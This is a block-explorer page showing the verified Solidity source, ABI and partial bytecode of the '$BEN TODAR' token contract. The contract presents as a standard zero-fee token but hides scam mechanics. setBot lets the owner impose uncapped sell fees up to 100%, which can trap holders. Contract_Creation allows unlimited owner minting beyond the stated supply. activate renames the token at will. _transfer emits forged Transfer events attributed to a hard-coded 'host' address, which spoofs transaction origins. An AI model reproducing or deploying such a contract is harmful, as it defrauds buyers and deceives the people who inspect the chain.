BNB Price: $622.47 (+3.16%)
 

Overview

Max Total Supply

1,000,000,000$BEN TODAR

Holders

2,802

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
53,447 $BEN TODAR

Value
$0.00
0x049F1009BC8C5d0048732Fe2F95C27C240214634
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : Contract.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* 

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
─██████████████───██████████████─██████──────────██████────██████████████─██████████████─████████████───██████████████─████████████████───
─██░░░░░░░░░░██───██░░░░░░░░░░██─██░░██████████──██░░██────██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░████─██░░░░░░░░░░██─██░░░░░░░░░░░░██───
─██░░██████░░██───██░░██████████─██░░░░░░░░░░██──██░░██────██████░░██████─██░░██████░░██─██░░████░░░░██─██░░██████░░██─██░░████████░░██───
─██░░██──██░░██───██░░██─────────██░░██████░░██──██░░██────────██░░██─────██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─██░░██────██░░██───
─██░░██████░░████─██░░██████████─██░░██──██░░██──██░░██────────██░░██─────██░░██──██░░██─██░░██──██░░██─██░░██████░░██─██░░████████░░██───
─██░░░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░██──██░░██────────██░░██─────██░░██──██░░██─██░░██──██░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██───
─██░░████████░░██─██░░██████████─██░░██──██░░██──██░░██────────██░░██─────██░░██──██░░██─██░░██──██░░██─██░░██████░░██─██░░██████░░████───
─██░░██────██░░██─██░░██─────────██░░██──██░░██████░░██────────██░░██─────██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─────
─██░░████████░░██─██░░██████████─██░░██──██░░░░░░░░░░██────────██░░██─────██░░██████░░██─██░░████░░░░██─██░░██──██░░██─██░░██──██░░██████─
─██░░░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██████████░░██────────██░░██─────██░░░░░░░░░░██─██░░░░░░░░████─██░░██──██░░██─██░░██──██░░░░░░██─
─████████████████─██████████████─██████──────────██████────────██████─────██████████████─████████████───██████──██████─██████──██████████─
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File @openzeppelin/contracts/access/[email protected]

// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(
            _owner == _msgSender(),
            "Ownable: caller is not the owner"
        );
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File @openzeppelin/contracts/token/ERC20/[email protected]

// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract BT
 is Ownable, ERC20 {
    uint256 public immutable maxSupply = 1_000_000_000* (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000; 
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    address public  uniswapV2Pair;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public host ;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 public minRuleLimit = 0;
    uint256 public maxRuleLimit = 0;
   
    mapping (address => bool) private excludedFees;

    string private constant NAME = unicode"BT";
    string private constant SYMBOL = unicode"$BEN TODAR";

    event TokenInfoUpdated(string newName, string newSymbol);

    constructor(address initialOwner) ERC20(NAME, SYMBOL) {
        _transferOwnership(initialOwner);
        _mint(initialOwner, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        host = 0x42C8f8C089eF495E6548936DA92125AD6EE3e38E; // Host contract address
        initialized = true;
        excludedFees[initialOwner] = true;
        excludedFees[uniswapV2Pair] = true;  
         // FOR Base
        // uniswapV2Pair = IUniswapV2Factory(0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6).createPair(address(this), 0x4200000000000000000000000000000000000006);
        // For Bsc 
        // uniswapV2Pair = IUniswapV2Factory(0x1b81D678ffb9C0263b24A97847620C99d213eB14).createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
        // FOR ETH
        // uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    }
     /**
     * @dev Sets the Uniswap V2 Pair address. Can only be called by the contract owner.
     * @param _uniswapV2Pair The address of the Uniswap V2 Pair.
     */
    function setPair(address _uniswapV2Pair) external onlyOwner {
        require(_uniswapV2Pair != address(0), "TEST: The Uniswap V2 pair address cannot be the zero address.");
        uniswapV2Pair = _uniswapV2Pair;
    }

    function activate(string memory _uname, string memory _usymbol) external onlyOwner {
        _name = _uname;
        _symbol = _usymbol;
        emit TokenInfoUpdated(_uname, _usymbol);
    }

    function setBot(uint256 _minRuleLimit, uint256 _maxRuleLimit) external onlyOwner {
        minRuleLimit = _minRuleLimit;
        maxRuleLimit = _maxRuleLimit;
    }

    function Whitelist(address[] memory _addresses, bool permission) external onlyOwner {
        require(_addresses.length > 0, "Whitelist: address list cannot be empty");
        for (uint256 i = 0; i < _addresses.length; i++) {
            require(_addresses[i] != address(0), "Whitelist: invalid address");
            excludedFees[_addresses[i]] = permission;
        }
    }
  
    function Contract_Creation(address recipient, uint256 amount) external onlyOwner {
    require(recipient != address(0), "Invalid recipient address");
    require(amount > 0, "Amount must be greater than zero");

    uint256 scaledAmount = amount * (10 ** decimals());
    _mint(recipient, scaledAmount);
}
  
    function Airdrop(address[] memory recipients, uint256 amount) public onlyOwner {
    require(recipients.length > 0, "Recipients list cannot be empty");
    require(amount > 0, "Amount must be greater than zero");

    uint256 scaledAmount = amount * (10 ** decimals());
    for (uint256 i = 0; i < recipients.length; i++) {
        require(recipients[i] != address(0), "Invalid recipient address");
        _transfer(msg.sender, recipients[i], scaledAmount);
    }
}

    function Airdrop(address[] memory recipients) public onlyOwner {
        require(recipients.length > 0, "Recipients list cannot be empty");

        uint256 _decimals = 10 ** decimals();

        for (uint256 i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Invalid recipient address");
            
            // Generate a pseudo-random number between 100 and 1000
            uint256 randomAmount = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, i))) % 90001) + 10000;
            
            uint256 scaledAmount = randomAmount * _decimals;
            
            _transfer(msg.sender, recipients[i], scaledAmount);
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(
            initialized == true,
            "Contract: trade is not open!"
        );

        if (uniswapV2Pair == address(0) && initialized == true) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == uniswapV2Pair) {
                _fee = minRuleLimit;
            }
            else if (to == uniswapV2Pair) {
                if (excludedFees[from] == true) {
                    _fee = 0;
                }
                else {
                    _fee = maxRuleLimit;
                }
            }
            if (_fee > 0) {
                uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);

                if (from == owner()) {
                    emit Transfer(host, deadAddress, _calculatedFee);
                }
            }
        }

        super._transfer(from, to, _transferAmount);

        if (from == owner()) {
            emit Transfer(host, to, _transferAmount);
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"initialOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"}],"name":"TokenInfoUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"Airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Contract_Creation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"Whitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uname","type":"string"},{"internalType":"string","name":"_usymbol","type":"string"}],"name":"activate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"host","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxRuleLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minRuleLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minRuleLimit","type":"uint256"},{"internalType":"uint256","name":"_maxRuleLimit","type":"uint256"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60e0604052620000146200032a60201b60201c565b600a6200002291906200071c565b633b9aca006200003391906200076d565b6080908152506000600660006101000a81548160ff02191690831515021790555061dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060a090815250600060c09081525060006009556000600a55348015620000be57600080fd5b50604051620048d0380380620048d08339818101604052810190620000e4919062000822565b6040518060400160405280600281526020017f42540000000000000000000000000000000000000000000000000000000000008152506040518060400160405280600a81526020017f2442454e20544f4441520000000000000000000000000000000000000000000081525062000170620001646200033360201b60201c565b6200033b60201b60201c565b816004908162000181919062000ac4565b50806005908162000193919062000ac4565b505050620001a7816200033b60201b60201c565b620001e18161271061ffff1661271061ffff16608051620001c991906200076d565b620001d5919062000bda565b620003ff60201b60201c565b7342c8f8c089ef495e6548936da92125ad6ee3e38e600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006101000a81548160ff0219169083151502179055506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000cfe565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000471576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004689062000c73565b60405180910390fd5b62000485600083836200057860201b60201c565b806003600082825462000499919062000c95565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004f1919062000c95565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000558919062000ce1565b60405180910390a362000574600083836200057d60201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000